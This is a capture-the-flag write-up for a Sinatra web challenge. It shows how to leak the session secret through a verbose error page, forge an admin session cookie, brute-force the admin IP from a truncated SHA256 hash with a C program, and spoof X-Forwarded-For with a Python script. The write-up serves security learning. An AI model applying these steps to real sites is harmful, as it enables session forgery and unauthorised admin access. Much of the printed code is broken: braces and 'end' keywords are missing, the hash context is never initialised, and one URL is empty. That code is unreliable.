Dangerous [Web]


My friend told me there's a secret page on this forum, but it's only for administrators.


The archive contains a Ruby webapp made with Sinatra, a web framework.

Flag route:

get "/flag" do
  if !session[:username] then
    erb :login
  elsif !is_allowed_ip(session[:username], request.ip, config) then
    return [403, "You are connecting from untrusted IP!"]
    return config["flag"] 

Which requires:

  1. A valid session that contains key 'username'
  2. Passing the is_allowed_ip check

Valid session can be obtained via /login, but only with valid credentials.

post "/login" do
  if config["mods"].any? {
    |mod| mod["username"] == params[:username] and mod["password"] == params[:password]
  } then
    session[:username] = params[:username]
    redirect to("/flag")
    return [403, "Incorrect credentials"]

We could not break the login check.

Error messages

During testing we noticed that the web application returns a traceback when hitting this raise:

post "/:id" do
  if params[:content].nil? or params[:content] == "" then
    raise "Reply content cannot be empty!"

Which can be triggered via curl -s --path-as-is -XPOST -d 'content=' '':

The resulting traceback does not contain much useful information, but it does demonstrate that error reporting is turned on.

It was then discovered that by supplying an additional -H "Accept: text/html" the webapp would instead show an HTML-based error page, this time showing useful information like: application settings, environment, cookie settings (including the cookie secret key):


Constructing our own cookie

With this secret session key, we can now forge our own cookies. To do this, we run our own Sinatra instance and set the session secret manually and modify a route to set session.username to janitor (the admin username):

set :session_secret, '3bceb076e1a6e915e68dc5eecc48b[...]'

get "/" do
  session[:username] = "janitor"
  @threads = get_threads(con)
  erb :index

After visiting / we may copy the resulting cookie, which is now considered 'logged in', as it contains janitor as username.

Beating the IP whitelist

We still need to pass the is_allowed_ip() check. To recap, the /flag route:

get "/flag" do
  if !session[:username] then
    erb :login
  elsif !is_allowed_ip(session[:username], request.ip, config) then
    return [403, "You are connecting from untrusted IP!"]
    return config["flag"] 

We discovered that Sinatra will listen to user-supplied IPv4 via X-Forwarded-For.

Now we need to figure out the actual admin IPv4 address in order to pass IP check.

Bruteforcing the admin IP

From the posts template code we can see:

<% user_color = Digest::SHA256.hexdigest(reply[2] + @id).slice(0, 6) %>

Where reply[2] is column number 2 from the user table, which is the ipv4 associated with a post, so it basically does: sha256(author_ipv4+thread_id).hex()[:6]

In the above image we can see the admin user janitor has the color 20b201. Using this information, we can iterate IPv4 space and see what combination(s) result in 20b201.

This needed to be done somewhat quickly as during the CTF the live version kept changing every 10 minutes or so.

The following code spawns a number of workers to calculate various truncated sha256sums that match given input, e.g: 20b201.

./brute 32 20b201 > ips

Which results in a list of possible admin IPs that satisfy 20b201.

// gcc -O3 gen.c -lcrypto -pthread -o brute
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <openssl/sha.h>
#include <unistd.h>
#include <pthread.h>

#define MAX_THREADS 32

pthread_mutex_t mu_result;

typedef struct {
    uint8_t start;
    uint8_t end;
    uint8_t *match;
    uint32_t matchlen;
} ctx_t;

void *worker(void *arg) {
    ctx_t *ctx = (ctx_t*)arg;
    SHA256_CTX sha256;
    int a,b,c,d;
    uint8_t hash[32];
    char ip[32];
    for(a = ctx->start; a < ctx->end; a++) {
        for(b=0; b<=255; b++) {
            for(c=0; c<=255; c++) {
                for(d=0; d<=255; d++) {
                    sprintf(ip, "%d.%d.%d.%d1", a,b,c,d);
                    SHA256_Update(&sha256, ip, strlen(ip));
                    SHA256_Final(hash, &sha256);
                    if (memcmp(hash, ctx->match, ctx->matchlen) == 0) {
                        printf("%d.%d.%d.%d\n", a,b,c,d);
                } } } }

    return arg;

uint8_t nibval(char c)
    if (c >= 'a' && c <= 'f') return (10 + c - 'a');
    if (c >= 'A' && c <= 'F') return (10 + c - 'A');
    if (c >= '0' && c <= '9') return c - '0';
    return 0;

uint8_t ascii2byte(char *s) {
    return (nibval(s[0]) << 4) | nibval(s[1]);

void ascii2bytes(char *s, uint8_t *o, uint32_t len) {
    for (uint32_t i = 0; i < len; i++) {
        o[i] = ascii2byte(s + (i * 2));

int main(int argc, char *argv[]) {
    pthread_t workers[MAX_THREADS];
    ctx_t thread_ctx[MAX_THREADS];

    int num_threads = atoi(argv[1]);
    if (256 % num_threads != 0) {
        printf("error: pick power of 2 threads\n");
        return 0;

    uint32_t matchlen = strlen(argv[2]) >> 1;
    uint8_t *match = malloc(matchlen);
    ascii2bytes(argv[2], match, matchlen);

    uint8_t slice = (256 / num_threads);

    for(int i = 0; i < num_threads; i++) {
        thread_ctx[i].start = (slice * i);
        thread_ctx[i].end = (slice * (i+1));
        thread_ctx[i].match = match;
        thread_ctx[i].matchlen = matchlen;
        pthread_create(&workers[i], NULL, worker, (void*)&thread_ctx[i]);
    for(int i = 0; i < num_threads; i++) {
        pthread_join(workers[i], NULL);

    return 0;

We can then just submit the IPs with a script, one of the iterations will print the flag.

cookies = {
    'rack.session': 'our_cookie',

for i, ipv4 in enumerate(ips):
    headers = {
        "X-Forwarded-For": ipv4,
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0',

    resp = requests.get('http://dangerous.web.jctf.pro/flag', cookies=cookies, headers=headers)
    if "untrusted" not in resp.content.decode():
        print(resp.content.decode())  # flag